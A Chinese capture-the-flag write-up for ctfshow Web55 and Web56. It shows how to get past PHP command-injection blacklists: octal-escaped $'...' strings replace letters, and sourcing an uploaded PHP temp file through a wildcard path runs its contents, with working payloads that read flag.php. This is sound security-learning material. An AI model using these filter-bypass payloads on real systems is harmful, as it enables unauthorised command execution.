ctfshow(55,56)--RCE/命令执行漏洞--无字母RCE与强制文件上传RCE
Web55
源代码:
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
代码审计:
过滤了字母和一些符号。
思路:
使用无字母RCE。
linux系统可以使用$'\xxx'
的方式执行命令,其中xxx是符号的ASCII码的八进制形式。
使用脚本构造我们需要的命令:
target = 'ls'
content = "$'"
for i in target:
asc = ord(i) #ord函数将字符转换为ASCII码
octal = oct(asc)[2:] #oct函数将十进制数转换为八进制字符串,输出为0oxxx。使用字符串切片来只获取数字部分。
content += "\\"+octal
content += "\'"
print(content)
target是我们要执行的命令。
EXP:
由于我们要执行的命令是 cat flag.php
,所以构造的payload是:
?c=$'\143\141\164'%20$'\146\154\141\147\56\160\150\160'
得到flag。
Web56
源代码:
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
代码审计:
过滤了字母和数字,以及一些符号。
思路:
由于过滤了单引号和双引号,所以或运算绕过不能使用。
考虑使用强制文件上传。
先构造一个文件上传页面:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>POST数据包</title>
</head>
<body>
<form action="http://b3135143-892a-4fe3-b4dc-7a54c640c9b2.challenge.ctf.show/" method="post" enctype="multipart/form-data">
<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>
然后构造一个文本文件,待会我们就要上传这个文件:
#!bin/sh
ls
#!bin/sh
用于声明脚本使用的Shell类型和路径。后面的ls就是我们要执行的命令。
我们向linux系统上传的文件,都被保存在/tmp目录下,并且将文件内容传入临时文件中。
而php临时文件的格式为/tmp/php???[@-[]。 [@-[]
匹配任意大写字母。
所以我们可以使用/???/????????[@-[]
来匹配我们上传的文件。
匹配到上传的文件后,下一步就是执行文件。
我们使用 . file
的方式来执行文件。意思是使用linux当前的shell程序来执行file中的命令。
所以:
?c=.%20/???/????????[@-[]
EXP:
上传文件并抓包,得到命令执行的结果:
响应体中没有想要的内容的话,多上传几次即可。
文件内容修改为 cat flag.php
,得到flag.